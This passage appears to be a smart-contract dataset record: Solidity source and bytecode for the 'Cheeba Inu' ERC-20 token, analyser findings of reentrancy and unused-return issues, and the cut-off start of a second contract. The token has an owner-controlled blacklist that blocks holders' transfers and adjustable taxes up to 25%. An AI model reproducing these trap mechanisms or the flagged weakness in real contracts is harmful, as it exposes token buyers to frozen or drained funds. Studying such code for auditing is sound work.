pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract cheebatoken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "Cheeba Inu";
string private constant _symbol = "CHEEB";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x662c8024581E7c5159E87980fc476ecB14776AdE);
_buyTax = 12;
_sellTax = 12;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setremoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
require(amount <= _maxTxAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxTxAmount = 20_000_000_000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20_000_000_000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 26) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 26) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610348578063c3c8cd8014610368578063c9567bf91461037d578063dbe8272c14610392578063dc1052e2146103b2578063dd62ed3e146103d257600080fd5b8063715018a6146102a85780638da5cb5b146102bd57806395d89b41146102e55780639e78fb4f14610313578063a9059cbb1461032857600080fd5b806323b872dd116100f257806323b872dd14610217578063273123b714610237578063313ce567146102575780636fc3eaec1461027357806370a082311461028857600080fd5b8063013206211461013a57806306fdde031461015c578063095ea7b3146101a157806318160ddd146101d15780631bbae6e0146101f757600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5061015a61015536600461187c565b610418565b005b34801561016857600080fd5b5060408051808201909152600a81526943686565626120496e7560b01b60208201525b60405161019891906118f9565b60405180910390f35b3480156101ad57600080fd5b506101c16101bc36600461178a565b610469565b6040519015158152602001610198565b3480156101dd57600080fd5b50683635c9adc5dea000005b604051908152602001610198565b34801561020357600080fd5b5061015a6102123660046118b4565b610480565b34801561022357600080fd5b506101c161023236600461174a565b6104c4565b34801561024357600080fd5b5061015a6102523660046116da565b61052d565b34801561026357600080fd5b5060405160098152602001610198565b34801561027f57600080fd5b5061015a610578565b34801561029457600080fd5b506101e96102a33660046116da565b6105ac565b3480156102b457600080fd5b5061015a6105ce565b3480156102c957600080fd5b506000546040516001600160a01b039091168152602001610198565b3480156102f157600080fd5b5060408051808201909152600581526421a422a2a160d91b602082015261018b565b34801561031f57600080fd5b5061015a610642565b34801561033457600080fd5b506101c161034336600461178a565b610881565b34801561035457600080fd5b5061015a6103633660046117b5565b61088e565b34801561037457600080fd5b5061015a610932565b34801561038957600080fd5b5061015a610972565b34801561039e57600080fd5b5061015a6103ad3660046118b4565b610b3b565b3480156103be57600080fd5b5061015a6103cd3660046118b4565b610b73565b3480156103de57600080fd5b506101e96103ed366004611712565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b0316331461044b5760405162461bcd60e51b81526004016104429061194c565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000610476338484610bab565b5060015b92915050565b6000546001600160a01b031633146104aa5760405162461bcd60e51b81526004016104429061194c565b6801158e460913d000008111156104c15760108190555b50565b60006104d1848484610ccf565b610523843361051e85604051806060016040528060288152602001611aca602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fc6565b610bab565b5060019392505050565b6000546001600160a01b031633146105575760405162461bcd60e51b81526004016104429061194c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105a25760405162461bcd60e51b81526004016104429061194c565b476104c181611000565b6001600160a01b03811660009081526002602052604081205461047a9061103a565b6000546001600160a01b031633146105f85760405162461bcd60e51b81526004016104429061194c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461066c5760405162461bcd60e51b81526004016104429061194c565b600f54600160a01b900460ff16156106c65760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610442565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072657600080fd5b505afa15801561073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075e91906116f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a657600080fd5b505afa1580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de91906116f6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082657600080fd5b505af115801561083a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085e91906116f6565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610476338484610ccf565b6000546001600160a01b031633146108b85760405162461bcd60e51b81526004016104429061194c565b60005b815181101561092e576001600660008484815181106108ea57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061092681611a5f565b9150506108bb565b5050565b6000546001600160a01b0316331461095c5760405162461bcd60e51b81526004016104429061194c565b6000610967306105ac565b90506104c1816110be565b6000546001600160a01b0316331461099c5760405162461bcd60e51b81526004016104429061194c565b600e546109bd9030906001600160a01b0316683635c9adc5dea00000610bab565b600e546001600160a01b031663f305d71947306109d9816105ac565b6000806109ee6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a5157600080fd5b505af1158015610a65573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8a91906118cc565b5050600f80546801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0357600080fd5b505af1158015610b17573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104c19190611898565b6000546001600160a01b03163314610b655760405162461bcd60e51b81526004016104429061194c565b601a8110156104c157600b55565b6000546001600160a01b03163314610b9d5760405162461bcd60e51b81526004016104429061194c565b601a8110156104c157600c55565b6001600160a01b038316610c0d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610442565b6001600160a01b038216610c6e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610442565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d335760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610442565b6001600160a01b038216610d955760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610442565b60008111610df75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610442565b6001600160a01b03831660009081526006602052604090205460ff1615610e1d57600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e5f57506001600160a01b03821660009081526005602052604090205460ff16155b15610fb6576000600955600c54600a55600f546001600160a01b038481169116148015610e9a5750600e546001600160a01b03838116911614155b8015610ebf57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ed45750600f54600160b81b900460ff165b15610ee857601054811115610ee857600080fd5b600f546001600160a01b038381169116148015610f135750600e546001600160a01b03848116911614155b8015610f3857506001600160a01b03831660009081526005602052604090205460ff16155b15610f49576000600955600b54600a555b6000610f54306105ac565b600f54909150600160a81b900460ff16158015610f7f5750600f546001600160a01b03858116911614155b8015610f945750600f54600160b01b900460ff165b15610fb457610fa2816110be565b478015610fb257610fb247611000565b505b505b610fc1838383611263565b505050565b60008184841115610fea5760405162461bcd60e51b815260040161044291906118f9565b506000610ff78486611a48565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092e573d6000803e3d6000fd5b60006007548211156110a15760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610442565b60006110ab61126e565b90506110b78382611291565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061111457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116857600080fd5b505afa15801561117c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a091906116f6565b816001815181106111c157634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e79130911684610bab565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611220908590600090869030904290600401611981565b600060405180830381600087803b15801561123a57600080fd5b505af115801561124e573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fc18383836112d3565b600080600061127b6113ca565b909250905061128a8282611291565b9250505090565b60006110b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061140c565b6000806000806000806112e58761143a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113179087611497565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134690866114d9565b6001600160a01b03891660009081526002602052604090205561136881611538565b6113728483611582565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b791815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113e68282611291565b82101561140357505060075492683635c9adc5dea0000092509050565b90939092509050565b6000818361142d5760405162461bcd60e51b815260040161044291906118f9565b506000610ff78486611a09565b60008060008060008060008060006114578a600954600a546115a6565b925092509250600061146761126e565b9050600080600061147a8e8787876115fb565b919e509c509a509598509396509194505050505091939550919395565b60006110b783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc6565b6000806114e683856119f1565b9050838110156110b75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610442565b600061154261126e565b90506000611550838361164b565b3060009081526002602052604090205490915061156d90826114d9565b30600090815260026020526040902055505050565b60075461158f9083611497565b60075560085461159f90826114d9565b6008555050565b60008080806115c060646115ba898961164b565b90611291565b905060006115d360646115ba8a8961164b565b905060006115eb826115e58b86611497565b90611497565b9992985090965090945050505050565b600080808061160a888661164b565b90506000611618888761164b565b90506000611626888861164b565b90506000611638826115e58686611497565b939b939a50919850919650505050505050565b60008261165a5750600061047a565b60006116668385611a29565b9050826116738583611a09565b146110b75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610442565b80356116d581611aa6565b919050565b6000602082840312156116eb578081fd5b81356110b781611aa6565b600060208284031215611707578081fd5b81516110b781611aa6565b60008060408385031215611724578081fd5b823561172f81611aa6565b9150602083013561173f81611aa6565b809150509250929050565b60008060006060848603121561175e578081fd5b833561176981611aa6565b9250602084013561177981611aa6565b929592945050506040919091013590565b6000806040838503121561179c578182fd5b82356117a781611aa6565b946020939093013593505050565b600060208083850312156117c7578182fd5b823567ffffffffffffffff808211156117de578384fd5b818501915085601f8301126117f1578384fd5b81358181111561180357611803611a90565b8060051b604051601f19603f8301168101818110858211171561182857611828611a90565b604052828152858101935084860182860187018a1015611846578788fd5b8795505b8386101561186f5761185b816116ca565b85526001959095019493860193860161184a565b5098975050505050505050565b60006020828403121561188d578081fd5b81356110b781611abb565b6000602082840312156118a9578081fd5b81516110b781611abb565b6000602082840312156118c5578081fd5b5035919050565b6000806000606084860312156118e0578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561192557858101830151858201604001528201611909565b818111156119365783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119d05784516001600160a01b0316835293830193918301916001016119ab565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0457611a04611a7a565b500190565b600082611a2457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a4357611a43611a7a565b500290565b600082821015611a5a57611a5a611a7a565b500390565b6000600019821415611a7357611a73611a7a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c157600080fd5b80151581146104c157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fd66a527873b5060987b0e562f963e4a417aecd6f0046d2d4cb12aa93fc2e6c064736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 852 |
0x546b1ed85c84d758d41089ca370c4623230aa440 | /**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface ERC20 {
function totalSupply() external view returns (uint _totalSupply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapRouter01 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getamountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getamountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getamountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getamountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapRouter02 is IUniswapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
}
contract smart {
using SafeMath for uint;
address router_address = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
IUniswapRouter02 router = IUniswapRouter02(router_address);
